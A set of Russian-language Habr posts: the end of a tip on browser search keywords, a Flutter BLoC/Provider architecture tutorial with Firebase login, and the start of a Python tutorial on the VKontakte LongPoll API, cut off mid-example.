*Ключевое слово:* набор символов, которые будут префиксом поиска, т.е. которые вы должны набрать в строке и после этого нажать пробел, чтобы активировать данную поисковую систему. Это должно быть преимущественно короткое и/или хорошо запоминающееся сочетание букв, аббревиатура.
*URL:* Адрес поисковой системы. На самом деле, это может быть любой адрес, т.е. его шаблон, в который можно подставить какую-то переменную часть (обозначаемую в URL параметром `%s`).
**Примеры «поисковых систем», которыми я сам пользуюсь**
| | | |
| --- | --- | --- |
| *Имя* | *Ключевое слово* | *URL* |
| перевода En > Ru | tr | `http:/``/translate.google.com/#en|ru|%s` |
| перевода Ru > En | rt | `http:/``/translate.google.com/#ru|en|%s` |
| почты в Gmail | gmail | `https:/``/mail.google.com/mail/#search/%s` |
| новостей в Google Reader | reader | `http:/``/www.google.com/reader/view/#search/%s/` |
| в аккаунте Evernote | evernote | `https:/``/www.evernote.com/Home.action#v=t&b=0&x=%s` |
| информации о домене | whois | `http:/``/whoisdigger.com/?%s` |
| пользователя Хабра | habr | `http:/``/%s.habrahabr.ru/` |
| компании на Хабре | hc | `http:/``/habrahabr.ru/company/%s` |
| по Твиттеру | tw | `http:/``/search.twitter.com/search?q=%s` |
| пользователя Твиттера | t | `http:/``/twitter.com/%s` |
Надеюсь, что теперь вы прочувствуете удобство этой функции и с легкостью расширите список шаблонами для любых других сайтов и сервисов, которыми вы часто пользуетесь.
Добавляйте свои «поисковые системы» в комментариях, чтобы их можно было добавить к себе через copy-paste. | https://habr.com/ru/post/83909/ | null | ru | null |
# Flutter. BlOC, Provider, async – архитектура «по полочкам»
Вступление
==========
Когда пытаешься написать приложение, то первое с чем сталкиваешься – это как организовать архитектуру приложения. А когда еще при этом речь идет про Flutter, так голова совсем может пойти кругом от того, что выдает Гугл — Vanilla, Scoped Model, BLoC, MVP, MVC, MVVM, MVI и т.д. Предположим вы решили пойти самым модным путем (тем, что советовал Google в 2018 году) и использовать BLOC. Что это? Как этим пользоваться? А может Redux или RxDart? – хотя стоп – это же про «другое» … А все-таки что дальше? Какие библиотеки подключать? Bloc, Flutter\_bloc, bloc\_pattern и т.д.?
Такое количество вариантов архитектур и инструментов для их реализации действительно может на долго затянуть стадию выбора.
Для кого статья
===============
Статья в первую очередь будет полезна тем, кто только начинает осваивать Flutter и не знает с чего начать. Я покажу один из вариантов реализации приложения на Flutter. Это позволит вам «пощупать» Flutter, а дальше уже сами решите, как и с использованием чего будете писать свои приложения.
Паттерны и инструменты. Кратко и просто
=======================================
И так начнем. Первое что стоит отметить, что есть архитектура приложения (паттерн, шаблон, некая концепция построения) – это как раз-таки: BLoC, MVP, MVC, MVVM, MVI и т.д. Многие из этих архитектур используются не только на Flutter, но и в других языках программирования. Вопрос – что из этого выбрать? На мой взгляд нужно выбрать то, что вы сами хорошо знаете, но только если это подразумевает реактивность и жесткое отделение бизнес логики от интерфейса (да-да – «автомобиль может быть любого цвета, если он черный»). Насчет разделения интерфейса и бизнес-логики, думаю, объяснять не надо, а вот насчет реактивности – попробуйте, если не пробовали – в итоге это действительно очень удобно и «красиво». Если сами выбрать не можете, то давайте пока позволим это сделать за нас не самым глупым парням из Google – BLOC. С архитектурой разобрались.
Теперь инструменты – есть уже готовые библиотеки — Bloc, Flutter\_bloc, bloc\_pattern – какая лучше? Не знаю – все хороши. Можно долго выбирать и сравнивать, но тут опять как в армии – лучше пока принять не правильное решение, чем не принять никакого. И я пока предлагаю пойти опять в след за модой и использовать Provider (то, что те же самые парни, рекомендуют использовать в 2019 году).
Все это позволит нам сделать как глобальный bloc, так и локальные bloc-и по мере необходимости. Про архитектуру BLoC (именно, паттерн, а не библиотеки) уже много написано, думаю, не стоит подробно снова на ней останавливаться. Отмечу только лишь один момент в данной статье будет использоваться не классический BLoC, а немного модифицированный – в BLoC action (события) будут передаваться не через Sink-и, а будут вызываться функции BLoC-а. Просто, на данный момент, не вижу преимущества использования Sink-ов – а раз их нет, то зачем усложнять себе жизнь?
Асинхронность и параллельные вычисления в Dart
==============================================
Также стоит немного разъяснить понятие асинхронности в Dart, раз уж мы говорим про реактивность. Очень часто на первых этапах знакомства с Dart, не правильно понимается смысл асинхронных функций (async). Надо всегда помнить, что «по-умолчанию» программа выполняется в одном потоке, а асинхронность лишь позволяет изменить последовательность выполнения команд, а не выполнять их параллельно. То есть если просто запустить функцию с большими вычислениями всего лишь пометив ее async, то интерфейс заблокируется. Async НЕ запускает новый поток. Как работает async и await есть много информации в интернете, поэтому останавливаться на этом тоже не буду.
Если же надо произвести какие-то большие вычисления и при этом не заблокировать интерфейс, то надо использовать функцию compute (для особого хардкора можно воспользоваться isolate-ами). Это действительно запустит отдельный поток выполнения, у которого будет также своя отдельная область памяти (что очень грустно и печально). Общаться с такими потоками можно, только через сообщения, которые могут содержать простые типы данных, их списки.
Приступим к практике
====================
### Постановка задачи
Давайте попробуем написать простейшее приложение – пусть это будет некий телефонный справочник. В качестве хранилища будем использовать Firebase – это позволит сделать «облачное» приложение. Как подключить Firebase к проекту я пропущу (на эту тему написана не одна статья и повторяться не вижу смысла. Замечание: в данном проекте используется Cloud Firestore.).
Должно получиться так:
### Описание приложения
Наше приложение внешне будет содержать:
1. Окно авторизации Firebase (логика этого окна будет содержаться в MainBloc).
2. Окно информации — будет показывать информацию о пользователе, под которым авторизована программа (логика этого окна будет так же содержаться в MainBloc).
3. Окно справочника в виде перечня телефонов (логика этого окна будет содержаться в отдельном PhonebookBloc).
4. Меню приложения, которое будет переключать экраны.
Внутренне приложение будет построено следующим образом: каждый экран будет содержать файл с виджетами экрана, файл bloc (с классом соответствующего bloc), файл actions (содержит простые классы описывающие события, которые влияют на состояние bloc), файл states (содержит простые классы отражающие состояние bloc), файл data\_model содержащий класс репозитория (отвечает за получение данных) и класс data (хранит данные бизнес логики bloc-а).
Функционировать приложение будет так – при открытии экрана соответствующий bloc инициализируется начальным значением состояния (state) и при необходимости в конструкторе bloc вызывается некоторый начальный action. Экран строится/перестраивается на основании state, которое возвращает bloc. Пользователь совершает некоторые действия в приложении, которые имеют соответствующие action-ы. Action-ы передаются в класс bloc, там в функции mapEventToState они обрабатываются и bloc возвращает новое state обратно в экран, на основании которого экран перестраивается.
### Структура файлов
Первым делом создаем пустой проект Flutter и сделаем структуру проекта такого вида (отмечу, что в демо-проекте некоторые файлы в итоге останутся пустыми):
### Окно авторизации. MainBloc
Теперь необходимо реализовать авторизацию в Firebase.
Начнем с создания классов событий (через события в bloc удобно передавать данные) и состояний для Main bloc-а:
файл MainBloc\actions
```
abstract class MainBlocAction{
String get password => null;
String get email => null;
}
```
файл MainBloc\states
```
abstract class MainBlocState{
bool busy;
MainBlocState({this.busy = false});
copy(bool busy) {
return null;
}
}
```
Флаг busy в классе состояния используется для вывода в интерфейсе progress\_hud и исключения лишних считываний данных из базы при скролле списка. Перед началом всех операций в блоке в выходной поток выдается новое состояние старого типа с установленным флагом busy – таким образом интерфейс получает уведомление о том, что операция началась. По окончанию операции в поток подается новое состояние со сброшенным флагом busy.
Наследники класса MainBlocState описывают состояния основного Bloc-а приложения. Наследники MainBlocAction описывают события, возникающие в нем.
Класс MainBloc содержит 4 основных элемента – функцию «преобразования» событий в состояния (Future mapEventToState), состояние Bloc-а — \_blocState, репозитарий bloc-а — repo и «выходной» поток состояний (который отслеживают элементы интерфейса) – blocStream. В принципе, это все элементы, обеспечивающие функциональность bloc-a. Иногда целесообразно использовать 2 выходных потока в одном bloc-е – такой пример будет ниже. Приводить его листинг здесь не буду – можно посмотреть, скачав проект.
Класс репозитория bloc-а содержит логику работы с Firebase и объект(data) хранящий данные, необходимые для бизнес логики, которую реализует данный bloc.
Файл MainBloc\data\_model
```
class MainRepo{
final MainData data = MainData();
FirebaseAuth get firebaseInst => MainData.firebaseInst;
FirebaseUser _currentUser;
Future createUserWithEmailAndPassword(
String email, String password) async {
var dataUser;
try {
dataUser =
(await firebaseInst.createUserWithEmailAndPassword(
email: email, password: password))
.user;
} catch (e) {
print(Error.safeToString(e));
print(e.code);
print(e.message);
}
if (dataUser == null){
data.setState(IsNotLogged());
return false;
}
\_currentUser = dataUser;
data.setState(IsLogged(),
uid: \_currentUser.uid,
email: \_currentUser.email);
return true;
}
...}
class MainData {
static final firebaseInst = FirebaseAuth.instance;
static MainBlocState \_authState = IsNotLogged();
static MainBlocState get authState => \_authState;
static String \_uid;
static String get uid => \_uid;
static String \_email;
static String get email => \_email;
void setState(MainBlocState newState,
{String uid = '', String email = ''}) {
\_authState = newState;
\_uid = uid;
\_email = email;
}
}
```
В классе MainData тоже хранится состояние, но состояние авторизации в Firebase, а не состояние Bloc.
Логику для основного bloc-а написали, теперь можно приступить к реализации экрана авторизации/регистрации.
MainBloc инициализируется в файле main:
Файл main
```
class MyApp extends StatelessWidget {
// This widget is the root of your application.
@override
Widget build(BuildContext context) {
return Provider(
create: (context) => MainBloc(),
dispose: (context, value) => value.dispose(),
child: MaterialApp(
routes: menuRoutes,
));
}
}
```
Самое время сделать небольшое отступление про StreamBuilder, Provider, StreamProvider, Consumer и Selector.
### Отступление про Provider-ы
**Provider** — только передает хранимое значение вниз по дереву. Причем обратиться к нему можно, только после дочернего build, т.е. необходимо построить подчиненный виджет. Никак не отвечает за обновление виджетов.
**StreamBuilder** — виджет, который следит за потоком и при получении из потока нового объекта перестраивается полностью.
**StreamProvider** — виджет, который следит за потоком и при получении нового объекта, сигнализирует, что дочерние (те, которые объявлены отдельным классом с методом build) виджеты должны перестроиться.
**Consumer** и **Selector** являются «синтаксическим сахаром», т.е. это фактически «обертка», которая содержит build и прячет под собой виджет. В Selector-e можно сделать дополнительную фильтрацию обновлений.
Таким образом, когда при каждом событии надо перестроить большую часть экрана, то можно использовать вариант с Provider и StreamBuilder. Когда же надо перестроить части дерева виджетов близкие к листьям, то для исключения лишних перестроений дерева целесообразно использовать StreamProvider в сочетании с Consumer и Selector.
### Авторизация. Продолжение
При входе в приложение пользователь должен попасть на окно авторизации/регистрации, и в этот момент ему еще не должно быть доступно меню приложения. Второй момент – данный экран обновлять частично не имеет особого смысла, поэтому для построения интерфейса мы можем использовать StreamBuilder. И третий момент в проекте используется Navigator для навигации между экранами. При получении события успешной авторизации необходимо вызвать переход на экран информации. Но просто внутри build StreamBuilder-а такое не получится – будет ошибка. Чтобы это обойти можно воспользоваться вспомогательным классом-оберткой StreamBuilderWithListener (Eugene Brusov — [stackoverflow.com](http://stackoverflow.com/questions/54101589/navigating-to-a-new-screen-when-stream-value-in-bloc-changes)).
Теперь сам листинг данного экрана auth\_screen(приведу тут частично):
Файл auth\_screen
```
Widget build(BuildContext context) {
var bloc = Provider.of(context, listen: false);
return StreamBuilderWithListener(
stream: bloc.blocStream.stream,
listener: (value) {
//not allowed call navigator push in build
if (value is IsLogged) {
Navigator.of(context).pushReplacementNamed(InfoScreen.nameMenuItem);
}
},
initialData: bloc.state,
builder: (context, snappShot) {
if (snappShot.data is IsLoggedOnStart) {
return LoggedWidget();
} else if (snappShot.data is IsLogged) {
//not allowed call navigator push in build
return ModalProgressHUD(
inAsyncCall: true,
child: Text(''),);
} else if (snappShot.data is IsNotLogged) {
return SignInAndSignUpWidget();
}
return Scaffold(body: Text(" Unknown event"));
});
}
```
В первую очередь создается StreamBuilderWithListener для прослушивания потока из bloc-а. И на основе текущего состояния вызывается либо виджет LoggedWidget (если пользователь уже авторизован), либо SignInAndSignUpWidget (если пользователь не авторизован еще). В случае если bloc возвращает состояние IsLogged переключение на новый экран посредством Navigator происходит не в builder (что привело бы к ошибке), а в listener. В нижележащих виджетах происходит построение интерфейса на основе данных, возвращаемых здесь. Тут фактически используется связка Provider+ StreamBuilder, т.к. при изменении состояния блока фактически весь интерфейс меняется.
Для передачи данных в bloc используются TextEditingController и параметры action-ов:
Файл auth\_screen
```
class _SignUpWidgetWidgetState extends State {
String _email, _password;
final TextEditingController _emailController = TextEditingController();
final TextEditingController _passwordController = TextEditingController();
@override
void initState() {
super.initState();
_emailController.addListener(_onEmailChanged);
_passwordController.addListener(_onPasswordChanged);
}
@override
Widget build(BuildContext context) {
return Column(
children: [
TextFormField(
controller: \_emailController,
decoration: InputDecoration(
labelText: 'email'),
),
TextFormField(
controller: \_passwordController,
obscureText: true,
decoration: InputDecoration(
labelText: 'password'),
),
RaisedButton(
child: Text('sign up'),
onPressed: () {
Provider.of(context, listen: false).mapEventToState(
Registration(\_email, \_password));
})
],
);
}
@override
void dispose() {
\_emailController.dispose();
\_passwordController.dispose();
super.dispose();
}
void \_onEmailChanged() {
\_email = \_emailController.text;
}
void \_onPasswordChanged() {
\_password = \_passwordController.text;
}
}
```
### Окно PhoneBookScreen
И теперь давайте немного поговорим о своем окне PhoneBookScreen. Это самое интересное окно – тут интерфейс строится на основе 2-х потоков из bloc-а, а еще тут есть список со скроллом и пагинацией (пэйджинацией, pagination).
Файл PhonebookScreen\screen
```
class PhonebookTopPart extends StatelessWidget {
StatefulWidget caseWidget(PhonebookState state) {
if (state is PhonebookListOpened) {
return PhonebookList();
//} else if (data is PhonebookCardToViewOpened) {
}else ModalProgressHUD(
inAsyncCall: true,
child: Text(''),);
return null;
}
@override
Widget build(BuildContext context) {
var bloc = Provider.of(context, listen: false);
return StreamProvider(
create: (context) => bloc.blocStream.stream,
initialData: bloc.state,
child: Selector(
selector: (\_,state)=>state,
shouldRebuild: (previous, next){return (previous.runtimeType!=next.runtimeType);},
builder: (\_, state, \_\_) { return ModalProgressHUD(
inAsyncCall: state.busy,
child: Scaffold(
appBar: AppBar(
title: Text("Phones list"),
),
drawer: MenuWidget(),
body: caseWidget(state),
));}
));
}
}
```
Первый StreamProvider нужен для переключения между различными экранами справочника – список, карточка контакта, карточка контакта для редактирования и т.п. Выбор виджета для экрана происходит в функции caseWidget (но в этом примере реализован только вид для списка – можете попробовать реализовать вид для карточки контакта – это очень просто и будет не плохим началом.).
На этом экране уже используется связка StreamProvider + Selector/Consumer, т.к. тут есть скролл списка и при нем перестраивать весь экран не целесообразно (т.е. перестроение виджетов происходит от соответствующего Selector/Consumer и ниже по дереву).
И вот реализация самого списка:
Файл PhonebookScreen\screen
```
class _PhonebookListState extends State {
ScrollController \_scrollController = ScrollController();
@override
void initState() {
super.initState();
\_scrollController.addListener(\_scrollListener);
}
@override
Widget build(BuildContext context) {
var bloc = Provider.of(context, listen: false);
var list = bloc.repo.data.list;
return Container(
child: StreamProvider(
create: (context) => bloc.scrollStream.stream,
initialData: bloc.scrollState,
child: Consumer(
builder: (\_, state, \_\_) {
return ListView.builder(
controller: \_scrollController,
itemCount: list.length,
itemBuilder: (BuildContext context, int index) {
return ListTile(
title: Text(list[index].data['name']),
subtitle: Text(list[index].data['phone']),
);
});
},
)));
}
void \_scrollListener() {
double delta = MediaQuery
.of(context)
.size
.height \* 3;
double maxScroll = \_scrollController.position.maxScrollExtent;
double currentScroll = \_scrollController.position.pixels;
if (maxScroll - currentScroll <= delta) {
Provider.of(context, listen: false)
.mapEventToState(ScrollPhonebook());
}
}
@override
void dispose() {
\_scrollController.removeListener(\_scrollListener);
super.dispose();
}
}
```
Тут видим второй StreamProvider, который следит за вторым потоком bloc-а, который отвечает за скролл. Пагинация организована стандартно через \_scrollListener (controller: \_scrollController). Хоть окно и интересное, но с учетом подробного описания первого окна — больше ничего нового тут сказать нечего. Поэтому на этом сегодня — все.
Задачей данной статьи не было показать идеальный код, то есть тут можно найти многие моменты для оптимизации — правильно «разбить» по файлам, использовать где-то instance, mixin-ы и тому подобное. Также, что «напрашивается» следующим этапом – можно сделать карточку контакта. Основная задача была структурировать знания, задать некоторый вектор для конструирования приложения, дать разъяснения по некоторым не очень очевидным на первых этапах знакомства моментах проектирования приложения на Flutter.
[Проект можно скачать по адресу](https://github.com/tremp-m/bloc_provider_architecture.git) (для регистрации можно использовать любую почту, с паролем не менее 6 символов. При повторной авторизации пароль должен совпадать с тем, что использовался при регистрации). | https://habr.com/ru/post/489512/ | null | ru | null |
# Основы работы с LongPoll сервером ВКонтакте
Доброго времени суток! Недавно я решил познакомиться с API крупнейшей социальной сети Европы — ВКонтакте. В разделе «Для разработчиков» содержится довольно подробная документация, а в интернете существует немалое количество статей, помогающих освоиться с VK API, поэтому я решил, что серьезных проблем в изучении быть не должно. Однако, когда я добрался до LongPoll сервера, обнаружилось, что статей по работе с ним практически нет, а официальная документация не настолько полна, чтобы полностью понять изучаемый материал. Пришлось методом проб и ошибок пытаться понять принцип работы LongPoll-а, что через некоторое время мне сделать все-таки удалось. Я решил поделиться изученным материалом с другими людьми, чтобы сократить их время изучения нового. Ниже вы можете ознакомиться с разделами, про которые мне удалось написать.
**Основы работы с API (те, кто знаком с базовыми методами и запросами к ним, могут пропустить этот пункт)**Что же такое API ВКонтакте? Вот как трактует это официальная документация:
> Callback API — это инструмент для отслеживания активности пользователей в Вашем сообществе ВКонтакте.
Другими словами, это способ отправлять запросы на серверы ВКонтакте, чтобы получить ответ, содержащий некоторую информацию. С помощью VK API можно сделать практически все: отправить сообщение пользователю, изменить пароль учетной записи, создать альбом с фотографиями и так далее. Лично я для работы с API использую библиотеку vk\_api, но можно обойтись и библиотекой requests. Сейчас мы рассмотрим базовые принципы работы. Если вы решили использовать библиотеку vk\_api, то пример запроса будет выглядеть так:
```
import vk_api
session = vk_api.VkApi(token='{ACCESS_TOKEN}')
print(session.method('users.get', {'user_ids': 210700286, 'fields': 'photo_50, city, verified'}))
```
Разберем по строчкам:
```
import vk_api
```
Здесь импортируется нужная нам библиотека.
```
session = vk_api.VkApi(token='{ACCESS_TOKEN}')
```
Этой строкой мы авторизируемся через access token (способы его получения доступно описаны в документации и интернете, я не буду заострять на них внимание). Заметьте: не для всех методов нужна авторизация. О том, когда она требуется, будет написано в документации метода на сайте ВКонтакте.
```
print(session.method('users.get', {'user_ids': 210700286, 'fields': 'photo_50, city'}))
```
Эта часть кода заслуживает отдельного внимания. Что же здесь происходит? Мы вызываем метод method, передавая ему два аргумента: первый — название метода API, второй — словарь из параметров этого метода. Список всех методов и их параметров находится в документации API. В данном случае мы вызываем метод «users.get» и передаем следующие параметры: «user\_ids» — список id пользователей, для которых мы хотим получить данные, «fields»: дополнительную информацию о пользователях: аватарку и город проживания. Результатом выполнения программы будет следующая выведенная строка: `[{'id': 210700286, 'first_name': 'Lindsey', 'last_name': 'Stirling', 'city': {'id': 5331, 'title': 'Los Angeles'}, 'photo_50': 'https://pp.userapi.com/c636821/v636821286/38a75/Ay-bEZoJZw8.jpg'}]`
Если допустить какую-либо ошибку, например, указать неправильное название вызываемого метода, будет возбуждено исключение: `vk_api.exceptions.ApiError: [5] User authorization failed: no access_token passed.`.
Примечание: если ошибка допущена в названии необязательного параметра, исключение сгенерировано не будет, а неизвестный параметр будет проигнорирован.
Если вы решили использовать библиотеку requests, придется немного углубиться в документацию API, чтобы узнать формат запроса и ответа.
Запрос должен выглядеть так: `https://api.vk.com/method/{METHOD_NAME}?{PARAMS}&v={API_VERSION}`, где {METHOD\_NAME} — название метода, {PARAMS} — параметры вызываемого метода, а {API\_VERSION} — версия API, которую должен использовать сервер при формировании ответа.
В качестве ответа нам будет возвращен JSON объект с информацией о результатах вызова метода. Давайте реализуем запрос к API с помощью библиотеки requests:
```
import requests
data = requests.get('https://api.vk.com/method/{METHOD_NAME}'.format(METHOD_NAME='users.get'),
params={'user_ids': 210700286, 'fields': 'photo_50, city'}).json()
print(data)
```
Итак, разберем написанное.
```
import requests
```
Импортирование библиотеки requests
```
data = requests.get('https://api.vk.com/method/{METHOD_NAME}'.format(METHOD_NAME='users.get'),
params={'user_ids': 210700286, 'fields': 'photo_50, city'}).json()
```
Эта строка записывает в переменную data ответ сервера. Мы передаем функции get два аргумента: адрес, к которому нужно сделать запрос (в нашем случае — форматированную строку), и словарь из параметров этого метода. Если метод не вызывается без access token-а, нужно добавить его в словарь с ключем 'access\_token'. Параметр «v» (версия API) не является обязательным, так как по умолчанию будет использоваться последняя версия, но, если нужно использовать иную версию, ее тоже нужно добавить в словарь с ключом 'v'. К пришедшему от сервера ответу применяется метод json(), который обрабатывает JSON-объекты.
Последняя строка выводит результат работы, в нашем случае — `{'response': [{'uid': 210700286, 'first_name': 'Lindsey', 'last_name': 'Stirling', 'city': 5331, 'photo_50': 'https://pp.userapi.com/c636821/v636821286/38a75/Ay-bEZoJZw8.jpg'}]}`.
Если передать неправильное название метода, будет выведено следующее: `{'error': {'error_code': 5, 'error_msg': 'User authorization failed: no access_token passed.', 'request_params': [{'key': 'oauth', 'value': '1'}, {'key': 'method', 'value': 'user.get'}, {'key': 'user_ids', 'value': '210700286'}, {'key': 'fields', 'value': 'photo_50, city'}]}}`.
**Что такое LongPoll?**Для начала обратимся за помощью к документации:
> Long Polling — это технология, которая позволяет получать информацию о новых событиях с помощью «длинных запросов». Сервер получает запрос, но отправляет ответ на него не сразу, а лишь тогда, когда произойдет какое-либо событие (например, поступит новое входящее сообщение), либо истечет заданное время ожидания.
Другими словами, получая от вас запрос, сервер ждет, когда произойдет событие, о котором он должен вас уведомить, и, когда оно происходит, Long Poll сервер отправляет ответ на ваш запрос, содержащий информацию о случившемся событии.
Мы напишем программу, которая будет уведомлять пользователя о некоторых изменениях в его аккаунте, которые мы будем получать от Long Poll сервера. Чтобы начать получать ответы от сервера, необходимо получить три обязательных параметра, необходимых для работы Long Poll-a: server, key и ts.
> key — секретный ключ сессии;
>
> server — адрес сервера;
>
> ts — номер последнего события, начиная с которого нужно получать данные.
Их не нужно получать каждый раз, вызывая Long Poll, — будет достаточно одного вызова. Из документации следует, что эти значения можно получить, вызвав метод messages.getLongPollServer. Напишем программу, которая сделает запрос с этим методом и будем использовать полученные данные для получения к Long Poll.
```
import requests
token = '' # здесь вы должны написать свой access_token
data = requests.get('https://api.vk.com/method/messages.getLongPollServer',
params={'access_token': token}).json()['response'] # получение ответа от сервера
print(data)
```
Если вы все сделали правильно, программа выведет словарь с тремя ключами: `{'key': '###############################', 'server': 'imv4.vk.com/im####', 'ts': 0000000000}`
**Запрос к Long Poll серверу**Теперь, используя значения, хранящиеся в словаре, который был создан в предыдущей части, мы можем сделать запрос к Long Poll серверу! Чтобы это сделать, нужно сделать запрос к следующему адресу: `https://{$server}?act=a_check&key={$key}&ts={$ts}&wait=25&mode=2&version=2`, где {$server}, {$key} и {$ts}- значения из словаря с ключами 'server', 'key' и 'ts' соответственно, wait — время, которое Long Poll сервер будет ожидать обновлений, а mode — дополнительные опции ответа. Напишем программу, которая сделает один запрос на Long Poll сервер
```
import requests
token = '' # здесь вы должны написать свой access_token
params = requests.get('https://api.vk.com/method/messages.getLongPollServer',
params={'access_token': token}).json()['response'] # получение ответа от сервера
response = requests.get('https://{server}?act=a_check&key={key}&ts={ts}&wait=90&mode=2&version=2'.format(server=data['server'], key=data['key'], ts=data['ts'])).json() # отправление запроса на Long Poll сервер со временем ожидания 90 секунд и опциями ответа 2
print(response)
```
Если за 90 секунд произошло какое-либо событие, которое попадает в список обрабатываемых Long Poll сервером, на экран выведется нечто похожее: `{'ts': 0000000000, 'updates': [[9, -999999999, 0, 1501588841]]}`. Что же значит пришедший ответ и как с ним дальше можно работать?
Во-первых, вы могли заметить, что в ответе содержится параметр 'ts', который мы использовали при отправлении запроса. Он здесь неспроста. Все события, попадающие в список обрабатываемых Long Poll сервера, нумеруются. Когда вы создаете новый аккаунт, первое такое событие имеет номер 1, второе — 2 и так далее. При отправлении запроса на Long Poll, нужно передавать этот параметр для того, чтобы сервер знал, начиная с какого номера нужно присылать обновления. В каждом ответе сервера также приходит этот параметр, чтобы вы использовали его при следующем вызове Long Poll сервера.
Во-вторых, в словаре содержится ключ 'updates' с говорящим названием. Не трудно догадаться, что значение по этому ключу хранит обновления, случившиеся после отправления запроса. Формат обновлений — массив массивов. Каждый массив в массиве — произошедшее обновление, которое нужно обработать. Если в первом массиве массивов больше одного, это значит, что несколько событий произошли одновременно. Параметр 'ts' содержит номер последнего из них. Если массив, доступный по ключу 'updates', пуст, то за время wait не произошло ни одного события. Вы спросите: «А что это за непонятные цифры в массивах?». Ответ довольно прост — это информация о случившемся событии, которую можно преобразовать в более понятный вид. Их обработкой мы займемся позже, а в следующей части напишем программу, которая будет постоянно обращаться к Long Poll серверу.
**Циклические запросы к Long Poll и коды событий**Для того, чтобы постоянно отправлять запросы к Long Poll, я решил использовать цикл, чтобы не переполнять стек рекурсией. Ниже приведена реализация программы, которая обращается к Long Poll и выводит обновления на экран
```
import requests
token = '' # здесь вы должны написать свой access_token
data = requests.get('https://api.vk.com/method/messages.getLongPollServer',
params={'access_token': token}).json()['response'] # получение ответа от сервера
while True:
response = requests.get('https://{server}?act=a_check&key={key}&ts={ts}&wait=20&mode=2&version=2'.format(server=data['server'], key=data['key'], ts=data['ts'])).json() # отправление запроса на Long Poll сервер со временем ожидания 20 и опциями ответа 2
updates = response['updates']
if updates: # проверка, были ли обновления
for element in updates: # проход по всем обновлениям в ответе
print(element)
data['ts'] = response['ts'] # обновление номера последнего обновления
```
Данная программа циклически посылает запросы к Long Poll-у, проверяет, были ли обновления, и выводит пришедшие обновления на экран. Но выходные данные этой программы в том виде, в котором они есть сейчас, никуда не годятся. Сейчас вывод программы выглядит подобным образом:
`[8, -999999999, 1, 1501592696]
[8, -999999999, 7, 1501592862]
[9, -999999999, 0, 1501592882]
[9, -999999999, 1, 1501592583]
[8, -999999999, 4, 1501592893]
[9, -999999999, 0, 1501592900]`
Первая цифра в каждом массиве означает код события. Используя ее, можно понять, какое событие произошло. Вот список кодов событий с кратким описанием (из официальной документации):
1 — Замена [флагов сообщения](https://vk.com/dev/using_longpoll_2?f=4.+%D0%A4%D0%BB%D0%B0%D0%B3%D0%B8+%D1%81%D0%BE%D0%BE%D0%B1%D1%89%D0%B5%D0%BD%D0%B8%D0%B9) (FLAGS:=$flags);
2 — Установка [флагов сообщения](https://vk.com/dev/using_longpoll_2?f=4.+%D0%A4%D0%BB%D0%B0%D0%B3%D0%B8+%D1%81%D0%BE%D0%BE%D0%B1%D1%89%D0%B5%D0%BD%D0%B8%D0%B9) (FLAGS|=$mask);
3 — Сброс [флагов сообщения](https://vk.com/dev/using_longpoll_2?f=4.+%D0%A4%D0%BB%D0%B0%D0%B3%D0%B8+%D1%81%D0%BE%D0%BE%D0%B1%D1%89%D0%B5%D0%BD%D0%B8%D0%B9) (FLAGS&=~$mask);
4 — Добавление нового сообщения;
6 — Прочтение всех входящих сообщений в $peer\_id, пришедших до сообщения с $local\_id.
7 — Прочтение всех исходящих сообщений в $peer\_id, пришедших до сообщения с $local\_id.
8 — Друг $user\_id стал онлайн. $extra не равен 0, если в mode был передан флаг 64. В младшем байте (остаток от деления на 256) числа extra лежит [идентификатор платформы](https://vk.com/dev/using_longpoll_2?f=7.+%D0%9F%D0%BB%D0%B0%D1%82%D1%84%D0%BE%D1%80%D0%BC%D1%8B) $timestamp — время последнего действия пользователя $user\_id на сайте;
9 — Друг $user\_id стал оффлайн ($flags равен 0, если пользователь покинул сайт (например, нажал выход) и 1, если оффлайн по таймауту (например, статус away)). $timestamp — время последнего действия пользователя $user\_id на сайте;
10 — Сброс [флагов диалога](https://vk.com/dev/using_longpoll_2?f=5.+%D0%A4%D0%BB%D0%B0%D0%B3%D0%B8+%D0%B4%D0%B8%D0%B0%D0%BB%D0%BE%D0%B3%D0%BE%D0%B2) $peer\_id. Соответствует операции (PEER\_FLAGS &= ~$flags). Только для диалогов сообществ;
11 — Замена [флагов диалога](https://vk.com/dev/using_longpoll_2?f=5.+%D0%A4%D0%BB%D0%B0%D0%B3%D0%B8+%D0%B4%D0%B8%D0%B0%D0%BB%D0%BE%D0%B3%D0%BE%D0%B2) $peer\_id. Соответствует операции (PEER\_FLAGS:= $flags). Только для диалогов сообществ;
12 — Установка [флагов диалога](https://vk.com/dev/using_longpoll_2?f=5.+%D0%A4%D0%BB%D0%B0%D0%B3%D0%B8+%D0%B4%D0%B8%D0%B0%D0%BB%D0%BE%D0%B3%D0%BE%D0%B2) $peer\_id. Соответствует операции (PEER\_FLAGS|= $flags). Только для диалогов сообществ;
13 — Удаление всех сообщений в диалоге $peer\_id с идентификаторами вплоть до $local\_id;
14 — Восстановление недавно (менее 20 дней назад) удаленных сообщений в диалоге $peer\_id с идентификаторами вплоть до $local\_id;
51 — Один из параметров (состав, тема) беседы $chat\_id были изменены. $self — 1 или 0 (вызваны ли изменения самим пользователем);
61 — Пользователь $user\_id набирает текст в диалоге. Событие приходит раз в ~5 секунд при постоянном наборе текста. $flags = 1;
62 — Пользователь $user\_id набирает текст в беседе $chat\_id;
70 — Пользователь $user\_id совершил звонок с идентификатором $call\_id;
80 — Счетчик непрочитанных в левом меню стал равен $count;
112 — Изменились настройки оповещений. $peer\_id — идентификатор чата/собеседника.
Таким образом, если первое число в массиве — 8, то кто-то из ваших друзей стал онлайн, если 9 — оффлайн и так далее. Остальные числа в массиве тоже имеют значение, но к ним мы подберемся позже, так как их значение зависит от кода события.
**Обработка приходящих событий**В этой части мы реализуем обработку событий, которые приходят нам в качестве ответа. Напомню, что эти события представлены в виде массивов с информацией, которую нужно обработать. Начать предлагаю с кода 80 — обновление счетчика непрочитанных сообщений, так как по моему мнению это событие является наименее сложным. Вот пример событий с кодом 80:
`[80, 0, 0]
[80, 1, 0]`
Первый параметр, как вы уже знаете, — код события. Остаются 2 элемента: 0 и 0 в первом случае и 1 0 во втором. Последний параметр при коде 80 должен быть всегда равен нулю, поэтому его можно игнорировать; для нас важен лишь второй. Во втором параметре указано, сколько на данный момент у пользователя непрочитанных сообщений. Минимальное значение — 0 (нет новых сообщений), максимальное — не ограничено. Этого достаточно, чтобы обрабатывать все события с кодом 80. Реализуем это в код:
```
# часть кода в этом примере опущена для сокращения места, без нее код работать не будет
while True:
